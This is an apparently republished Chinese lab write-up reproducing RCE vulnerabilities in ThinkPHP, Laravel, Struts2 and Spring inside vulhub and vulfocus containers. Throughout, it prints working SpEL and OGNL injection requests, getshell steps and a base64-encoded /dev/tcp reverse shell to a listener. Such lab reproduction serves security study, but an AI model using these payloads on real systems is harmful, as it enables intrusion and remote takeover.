框架安全-CVE 复现SpringStrutsLaravelThinkPHP漏洞复现

news2024/9/24 1:26:32

目录

  • 服务攻防-框架安全&CVE 复现&Spring&Struts&Laravel&ThinkPHP
    • 概述
    • PHP-开发框架安全-Thinkphp&Laravel
      • 漏洞复现
        • Thinkphp-3.X RCE
        • Thinkphp-5.X RCE
        • Laravel框架安全问题- CVE-2021-3129 RCE
    • JAVAWEB-开发框架安全-Spring&Struts2
      • Struts2框架安全
        • 漏洞复现
          • S2-009 远程执行代码漏洞
          • CVE-2017-5638（struts2-045 远程代码执行）
          • CVE-2020-17530 代码执行
          • CVE-2021-31805 远程代码执行
      • JAVAWEB-开发框架安全-Spring框架
        • 漏洞复现
          • Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）
          • Spring WebFlow 远程代码执行漏洞（CVE-2017-4971）
          • Spring Cloud Function SpEL表达式注入 (CVE-2022-22963)
          • Spring Cloud Gateway Actuator API SpEL 表达式注入 (CVE-2022-22947)

服务攻防-框架安全&CVE 复现&Spring&Struts&Laravel&ThinkPHP

概述

中间件及框架列表：

IIS，Apache，Nginx，Tomcat，Docker，K8s，Weblogic，JBoos，WebSphere，Jenkins ，GlassFish，Jetty，Jira，Struts2，Laravel，Solr，Shiro，Thinkphp，Spring，Flask，jQuery 等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

常见语言开发框架：

PHP：Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA：Spring MyBatis Hibernate Struts2 Springboot 等

Python：Django Flask Bottle Turbobars Tornado Web2py 等

Javascript：Vue.js Node.js Bootstrap JQuery Angular 等

PHP-开发框架安全-Thinkphp&Laravel

详解：Thinkphp详解

详解：Laravel详解

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以从面条一样杂乱的代码中解脱出来；它可以构建网络APP，而且每行代码都可以简洁、富于表达力。

安全问题：

Thinkphp-3.X RCE

Thinkphp-5.X RCE

CVE-2021-3129 RCE

…

特征：

利用前可先判断其开发框架，通过浏览器插件，或者数据包信息内容等进行判断是什么开发框架。判断方式很多。

"十年磨一剑"是ThinkPHP的特征之一，出现图标，倒立微笑的笑脸也是特征之一。

…

漏洞复现

Thinkphp-3.X RCE

靶场：vulfocus

开启环境：

image-20231026115953124

漏洞利用：

可直接放入到工具当中进行检测，一键利用即可

image-20231026120126461

命令执行RCE：

image-20231026120644685

payload：
http://192.168.100.134:24566//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/23_10_26.log

查看：

image-20231026120236352

还可以进行getshell，找到路径，一键getshell：

image-20231026120839699

直接可getshell：

image-20231026120859548

然后使用蚁剑连接即可：

成功连接：

image-20231026120755244

日志泄露：

Payload: 
http://192.168.100.134:24566//Application/Runtime/Logs/Admin/23_10_26.log

查看：

image-20231026120338476

工具在github搜索即可，有很多，遇到不好用的也正常。（利用简单[工具点一点就可以~]，发现该系列漏洞，危害较大。）以下也是同理。

Thinkphp-5.X RCE

ThinkPHP是在中国使用非常广泛的PHP开发框架。在其版本 5 中，由于框架错误地处理控制器名称，如果网站未启用强制路由（这是默认），它可以执行任何方法，从而导致 RCE 漏洞。

靶场：vulhub

参考：Thinkphp5 5.0.22/5.1.29 远程执行代码漏洞

image-20231026114919494

开启环境：

image-20231026114904874

访问靶场：

image-20231026114939462

漏洞利用：

利用方式和以上一致，直接利用成熟的工具即可。

利用前可先判断其开发框架，通过浏览器插件，或者数据包信息内容等进行判断是什么开发框架。

"十年磨一剑"是ThinkPHP的特征之一，微笑的笑脸也是特征。

直接将url信息内容，抛到工具当中：

image-20231026115504416

输入利用的漏洞编号，利用即可：

命令执行RCE：

image-20231026115605392

getshell：

image-20231026115704703

通过蚁剑进行连接：

连接添加成功:

image-20231026115758369

Laravel框架安全问题- CVE-2021-3129 RCE

详解：Laravel详解

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以从面条一样杂乱的代码中解脱出来；它可以构建网络APP，而且每行代码都可以简洁、富于表达力。

靶场：vulfocus

漏洞描述：

Laravel是一套简洁、开源的PHP Web开发框架，旨在实现Web软件的MVC架构。 Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行

开启靶场：

image-20231026220058479

访问：

image-20231026220128843

漏洞利用：

github搜索漏洞编号CVE-2021-3129，查找相关exp下载利用即可

exp地址：CVE-2021-3129EXP

python laravel-CVE-2021-3129-EXP.py http://192.168.100.134:29972

直接利用即可，getshell：

image-20231026220512695

哥斯拉链接即可。

利用相对简单，使用现成熟的脚步或工具即可。github上搜索即可。

JAVAWEB-开发框架安全-Spring&Struts2

Struts2框架安全

Struts2介绍：

详解：Struts2框架

Struts2框架是一个用于开发[Java EE](https://baike.baidu.com/item/Java EE/2180381?fromModule=lemma_inlink)网络应用程序的开放源代码网页应用程序架构。它利用并延伸了[Java Servlet](https://baike.baidu.com/item/Java Servlet?fromModule=lemma_inlink) API，鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心，吸收了Struts框架的部分优点，提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

框架特点：

1、一般st2框架开发的网站，url上会有.action或.do后缀的文件名，比如：

http://192.168.xx.xx/integration/editGangster.action

http://192.168.xxx.xxx:8080/login.action

…

方法1可能不准确，因为spring框架或jboss系统有时候也存在.do结尾的文件名。

2、在相关接口追加actionErrors参数，通过网站页面的回显错误消息来判断。

3、默认情况下，st2框架中存在http://192.168.xXx/struts/webconsole.html这个默认文件。

4、抓包，看包中Content–Type字段的开头是否形如%{#x=[‘XXX’]

方法4仅限于st2-045框架漏洞

此Struts2系列漏洞现有成熟工具，判别出特征，直接利用即可。

较新的漏洞可能工具不支持。

漏洞复现

以struts2系列之一为例：

S2-009 远程执行代码漏洞

靶场：vulhub

参考：s2-009

开启环境：

image-20231026224915812

访问：

发现明显的struts2特征

image-20231026224936446

直接放到工具当中进行检测：

image-20231026225118548

image-20231026225404284

一键利用，命令执行：

image-20231026225106047

工具可在github上搜索，有很多。不排除有不好用的。

CVE-2017-5638（struts2-045 远程代码执行）

漏洞复现：struts2-045 远程代码执行漏洞CVE-2017-5638

CVE-2020-17530 代码执行

struts2 代码执行 （CVE-2020-17530）

描述：

Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。 在特定的环境下，远程攻击者通过构造 恶意的OGNL表达式 ,可造成任意代码执行

靶场：vulfocus

开启环境：

image-20231026231016044

访问：

image-20231026231200889

可使用工具检测：

image-20231026231258136

使用EXP脚本也可以，漏洞比较新，可能一些工具不支持，无法检测，利用。

github上搜索漏洞编号，使用即可。

工具地址：CVE-2020-17530EXP

工具使用：

python struts2-061-poc.py http://192.168.100.134:34952 "执行的命令"

image-20231026231736225

反弹shell：

python2 S2-061-shell.py http://192.168.100.134:34952

反弹成功

image-20231026232101801

CVE-2021-31805 远程代码执行

远程代码执行漏洞-CVE-2021-31805

影响范围：Apache Struts 2.0.0-2.5.29

靶场：vulfocus

开启并访问。

漏洞利用EXP，可直接去github上搜索编号，下载利用即可。

EXP地址：s2-062EXP

image-20231027000102876

修复：升级即可。

JAVAWEB-开发框架安全-Spring框架

spring框架安全

Spring框架是由于软件开放复杂性而创建的。框架下有很多子分支，披露了很多安全问题。
特征：小绿叶图标

spring框架介绍：

详解：spring开源框架

Spring框架是一个开放源代码的J2EE应用程序框架，由[Rod Johnson](https://baike.baidu.com/item/Rod Johnson/1423612?fromModule=lemma_inlink)发起，是针对bean的生命周期进行管理的轻量级容器（lightweight container）。 Spring解决了开发者在J2EE开发中遇到的许多常见的问题，提供了功能强大IOC、AOP及Web MVC等功能。Spring可以单独应用于构筑应用程序，也可以和Struts、Webwork、Tapestry等众多Web框架组合使用，并且可以与 Swing等桌面应用程序AP组合。因此， Spring不仅仅能应用于J2EE应用程序之中，也可以应用于桌面应用程序以及小应用程序之中。Spring框架主要由七部分组成，分别是 Spring Core、 Spring AOP、 Spring ORM、 Spring DAO、Spring Context、 Spring Web和 Spring Web MVC。

安全问题：

CVE-2017-4971

CVE-2018-1273

CVE-2022-22947

CVE-2022-22963

…

漏洞复现
Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）

介绍：

Spring Data 项目的目的是为了简化构建基于 Spring 框架应用的数据访问计数，包括非关系数据库、Map-Reduce 框架、云数据服务等等；另外也包含对关系数据库的访问支持。

Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。

靶场：vulhub

开启环境：

image-20231027113744542

访问：

特征：小绿叶图标

image-20231027113849326

注册用户信息：

image-20231027114052799

当注册用户时，burp抓包：

image-20231027115625856

修改数据包信息

payload：
......
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

数据包内容：

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 uacq
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.100.134:8080
Connection: close
Referer: http://192.168.100.134:8080/users?page=0&size=5
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "macOS"
sec-ch-ua: "Google Chrome";v="112", "Chromium";v="112", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /123.txt")]=&password=&repeatedPassword=

image-20231027140449715

进入靶场，验证是否创建成功：

//查看环境id
docker ps
//进入环境
docker exec -it 环境id /bin/bash

创建成功：

image-20231027115837218

image-20231027140532133

反弹shell：

细节问题：需要URL编码

先将反弹shell命令进行base64编码

sh -i >& /dev/tcp/192.168.100.1/8888 0>&1

base64编码：
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

image-20231027155039450

数据包当中观察：

content-type的值有urlencode，所以可能会进行编码才行。

编码原因：请求头部的信息或方式的原因，需要编码。

image-20231027155114068

将反弹shell命令URL编码后，再次发送：

image-20231027154943842

成功反弹shell，并执行命令：

image-20231027155308846

Spring WebFlow 远程代码执行漏洞（CVE-2017-4971）

详解：Spring Web Flow详解

pring Web Flow (SWF) 是Spring Framework的一个脱离模块。这个模块是Spring Web应用开发模块栈的一部分，Spring Web包含Spring MVC。Spring Web Flow 的目标是成为管理Web应用页面流程的最佳方案。当你的应用需要复杂的导航控制，例如向导，在一个比较大的事务过程中去指导用户经过一连串的步骤的时候，SWF将会是一个功能强大的控制器。

靶场：vulhub

参考：Spring WebFlow 漏洞复现-CVE-2017-4971

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架（如购物逻辑），可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中，如果我们控制了数据绑定时的field，将导致一个SpEL表达式注入漏洞，最终造成任意命令执行。

image-20231027141318140

开启环境：

image-20231027142606770

访问web界面：

image-20231027141211454

接下来访问http://your-ip:8080/login，用页面左边给出的任意一个账号/密码登录系统：

image-20231027141429583

然后访问id为1的酒店http://your-ip:8080/hotels/1，点击预订按钮“Book Hotel”，填写相关信息后点击“Process”（从这一步，其实WebFlow就正式开始了）：

image-20231027141547526

下一步：

image-20231027141624650

下一步：

image-20231027141727410

使用burp进行抓包：

此时抓包，抓到一个POST数据包，我们向其中添加一个字段（也就是反弹shell的POC）

获取的数据包：

image-20231027141811611

修改后数据包添加数据内容：

payload：

//_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/攻击端ip/监听端口 0>&1")).start()=vulhub

......
_eventId_confirm=&_csrf=96117c67-2c77-4054-970a-d2644c9be1f2&_(new java.lang.ProcessBuilder("bash","-c","%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%31%2f%38%38%38%38%20%30%3e%26%31")).start()=vulhub

//注意反弹shell命令进行url编码，否则无法反弹

image-20231027142225503

进行URL编码：

image-20231027142428426

反弹成功：
image-20231027142256466

Spring Cloud Function SpEL表达式注入 (CVE-2022-22963)

详解：[spring cloud](https://baike.baidu.com/item/spring cloud/20269825?fr=ge_ala)

Spring Cloud Function提供了一个通用模型，用于在各种平台上部署基于函数的软件，包括像Amazon AWS Lambda这样的FaaS（功能即服务）平台。

靶场：vulhub

参考：CVE-2022-22963漏洞复现

image-20231027163737069

开启环境：

image-20231027165554660

访问web界面：

image-20231027165617292

服务器启动后，执行您可以将用户输入转换为大写。

命令：curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test

image-20231027165719447

抓取数据包：

请求标头中有一个 SpEL 表达式注入。

添加内容：

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("需要执行的命令")

//完整数据包：
POST /functionRouter HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

asdasdasdd

成功执行：

验证：

docker-compose exec spring /bin/bash

image-20231027165858297

反弹shell：

成功反弹

image-20231027170122703

Spring Cloud Gateway Actuator API SpEL 表达式注入 (CVE-2022-22947)

介绍：

SpringCloud GateWay 详解

Spring Cloud Gateway是Spring Cloud生态系统中的一部分，它是一个基于Spring Framework 5，Spring Boot 2和Project Reactor等技术开发的全新的API网关服务器。它旨在提供一种简单而有效的方式来路由到API，提供过滤器，以及在执行请求和响应之间的操作。

Spring Cloud Gateway 提供了一个库，用于在 Spring WebFlux 之上构建 API 网关。

在 3.1.0 和 3.0.6 之前版本中使用 Spring Cloud Gateway 的应用程序，在启用、暴露和不安全网关执行器端点时容易受到代码注入攻击。远程攻击者可发出恶意构建的请求，允许在远程主机上任意远程执行。

靶场：vulhub

参考：CVE-2022-22947漏洞复现

image-20231027171003344

开启环境：

访问web界面：
image-20231027171221229

第一步，发送以下请求以添加包含恶意 SpEL 表达式的路由器：

//发送post请求，进行抓包：
//数据包内容：
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

执行后：

image-20231027171523175

然后，刷新网关。

SpEL 表达式将在此步骤中执行：

//数据包内容：
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

执行后：
image-20231027172701484

第三，发送以下请求，进行命令执行：

注意为：请求方式为GET请求

//请求数据包内容：
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

image-20231027172919550

最后，发送一个删除请求来删除我们的恶意路由器：

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
......

发送数据包即可：
image-20231027173229692

再次刷新网关：

POST /actuator/gateway/refresh HTTP/1.1
......

image-20231027173422439

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1141083.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【MATLAB源码-第59期】基于matlab的QPSK,16QAM164QAM等调制方式误码率对比，调制解调函数均是手动实现未调用内置函数。

【MATLAB源码-第59期】基于matlab的QPSK,16QAM164QAM等调制方式误码率对比，调制解调函数均是手动实现未调用内置函数。

操作环境： MATLAB 2022a 1、算法描述 正交幅度调制（QAM，Quadrature Amplitude Modulation）是一种在两个正交载波上进行幅度调制的调制方式。这两个载波通常是相位差为90度（π/2）的正弦波，因此…
阅读更多...
Python中的*args 和 **kwargs

Python中的*args 和 **kwargs

在Python中的代码中经常会见到这两个词 args 和 kwargs，前面通常还会加上一个或者两个星号。其实这只是编程人员约定的变量名字，args 是 arguments 的缩写，表示位置参数；kwargs 是 keyword arguments 的缩写，表示关键字…
阅读更多...
【优选算法系列】第一节.双指针（283. 移动零和1089. 复写零）

【优选算法系列】第一节.双指针（283. 移动零和1089. 复写零）

作者简介：大家好，我是未央； 博客首页：未央.303 系列专栏：优选算法系列 每日一句：人的一生，可以有所作为的时机只有一次，那就是现在！！！&#xff01…
阅读更多...
暄桐推荐|学书法的必读书目

暄桐推荐|学书法的必读书目

在暄桐教室，写字之外，读书、静坐也是桐学们修习的功课。今天，便向你推荐，关于学习书法，暄桐教室的那些必读书目： 　　 暄桐推荐学书法必读书之初阶书目： 　　 　　对零基础的小白同学或刚入门…
阅读更多...
VSCode远程连接

VSCode远程连接

1 VSCode 远程连接服务器 1、下载vscode 百度搜索vscode（注意不是visual studio），进入vscode官网进行下载。 2、安装ssh插件 根据你的操作系统选择对应的版本进行下载和安装。 安装完成之后，启动vscode，选择左侧Exten…
阅读更多...
使用 Visual Studio Code 编写 TypeScript程序

使用 Visual Studio Code 编写 TypeScript程序

安装 TypeScript 首先，确保你已经安装了 TypeScript，如果没有安装，请参考https://blog.csdn.net/David_house/article/details/134077973?spm1001.2014.3001.5502进行安装 创建 新建一个文件夹，用vs code打开，在文…
阅读更多...
SpringBoot 集成 kaptcha 验证码

SpringBoot 集成 kaptcha 验证码

简介 这里就一句话说明了哈，并能找到这里，都是知道这个是要干嘛的了。kaptcha 是谷歌开源的简单实用的验证码生成工具。 项目源码 项目工程源码路径，点击这里， 可以结合源码来看。 项目搭建 项目工程截图 第一步：…
阅读更多...
vue使用Element-plus的Image预览时样式崩乱

vue使用Element-plus的Image预览时样式崩乱

🔥博客主页： 破浪前进 🔖系列专栏： Vue、React、PHP ❤️感谢大家点赞👍收藏⭐评论✍️ 问题： 在使用组件库的image时出现了点小问题，预览的图片层级反而没有表格的层级高 效果图：…
阅读更多...
FL Studio21最新中文汉化解锁版，2024怎么激活FL Studio

FL Studio21最新中文汉化解锁版，2024怎么激活FL Studio

FL Studio2024最新中文汉化解锁版是一款功能强大的数字音频工作站（DAW），它广泛应用于音乐创作和音乐制作领域。在使用FL Studio时，购买正版软件是否有必要呢？本文将详细探讨FL Studio的功能特点以及正版软件的重要性。…
阅读更多...
【C++那些事儿】内联函数，auto，以及C++中的空指针nullptr

【C++那些事儿】内联函数，auto，以及C++中的空指针nullptr

君兮_的个人主页 即使走的再远，也勿忘启程时的初心 C/C 游戏开发 Hello,米娜桑们，这里是君兮_，我之前看过一套书叫做《明朝那些事儿》，把本来枯燥的历史讲的生动有趣。而C作为一门接近底层的语言，无疑是抽象且难度颇…
阅读更多...
【电路笔记】-电路中的复数与相量(Phasor)

【电路笔记】-电路中的复数与相量(Phasor)

电路中的复数与相量(Phasor) 文章目录 电路中的复数与相量(Phasor)1、概述2、复数定义3、复数计算规则4、电子领域的复数5、总结 复数是一种重要的数学工具，广泛应用于包括电子学在内的许多物理领域。 这个概念可能看起来很奇怪，但它们的操作很简单&…
阅读更多...
鸡尾酒学习——薄荷夏日

鸡尾酒学习——薄荷夏日

1、材料：冰块（或者雪莲）、牛奶、朗姆酒、绿薄荷糖浆； 2、口感：有点像是再吃薄荷奶糖口味的酒心奶糖。 3、视觉效果：白色加上一点点绿色； 4、步骤： （1）向摇壶内…
阅读更多...
如何使用react-router v6快速搭建路由？

如何使用react-router v6快速搭建路由？

前言 之前一直使用react-router V5，上次搭建一个小项目，下载的react-router V6， 本以为没什么区别，就按照v5的那一套用了，区区小功能，奈何不了我的。然后自信满满的运行，哦豁，不生效…
阅读更多...
foo = foo || bar 的深入解析

foo = foo || bar 的深入解析

目录 前言 用法 代码示例 理解 注意点 结论 前言 在JavaScript中，foo foo || bar 是一种常见的编程模式，用于设置变量的默认值或者确保变量被赋值。这种写法利用了JavaScript中逻辑运算符的短路特性，即在逻辑运算中，一旦结…
阅读更多...
docker - window Docker Desktop升级

docker - window Docker Desktop升级

文章目录 前言docker - window Docker Desktop升级 前言 如果您觉得有用的话，记得给博主点个赞，评论，收藏一键三连啊，写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差，实在白嫖的话，那欢迎常来…
阅读更多...
通过el-tree 懒加载树，创建国家地区四级树

通过el-tree 懒加载树，创建国家地区四级树

全国四级行政地区树数据库sql下载路径：【免费】全国四级地区(省市县)数据表sql资源-CSDN文库https://download.csdn.net/download/weixin_51722520/88469807?spm1001.2014.3001.5503 我在后台获取地区信息添加了限制，只获取parentid为当前的地…
阅读更多...
使用 jdbc 技术升级水果库存系统（后端最终版本，不包含前端）

使用 jdbc 技术升级水果库存系统（后端最终版本，不包含前端）

1、配置依赖 <dependencies><dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId><version>1.18.10</version></dependency><dependency><groupId>junit</groupId><…
阅读更多...
释放搜索潜力：基于ES(ElasticSearch)打造高效的语义搜索系统，让信息尽在掌握[1.安装部署篇--简洁版]，支持Linux/Windows部署安装

释放搜索潜力：基于ES(ElasticSearch)打造高效的语义搜索系统，让信息尽在掌握[1.安装部署篇--简洁版]，支持Linux/Windows部署安装

搜索推荐系统专栏简介&#xff1a;搜索推荐全流程讲解&#xff08;召回粗排精排重排混排&#xff09;、系统架构、常见问题、算法项目实战总结、技术细节以及项目实战&#xff08;含码源&#xff09; 专栏详细介绍&#xff1a;搜索推荐系统专栏简介&#xff1a;搜索推荐全流程讲…
阅读更多...
基于springboot零食商城管理系统

基于springboot零食商城管理系统

功能如图所示 摘要 这基于Spring Boot的零食商城管理系统提供了强大的购物车和订单管理功能。用户可以在系统中浏览零食产品&#xff0c;并将它们添加到购物车中。购物车可以保存用户的选购商品&#xff0c;允许随时查看已选择的商品和它们的数量。一旦用户满意&#xff0c;他们…
阅读更多...
Geom2d_OffsetCurve解析

Geom2d_OffsetCurve解析

Geom2d_OffsetCurve (const Handle< Geom2d_Curve > &C, const Standard_Real Offset, const Standard_Boolean isNotCheckC0Standard_False) chatgpt解析&#xff1a;Geom2d_OffsetCurve 是 OpenCascade 中的函数&#xff0c;用于构造偏移曲线。下面是对该函数的参…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023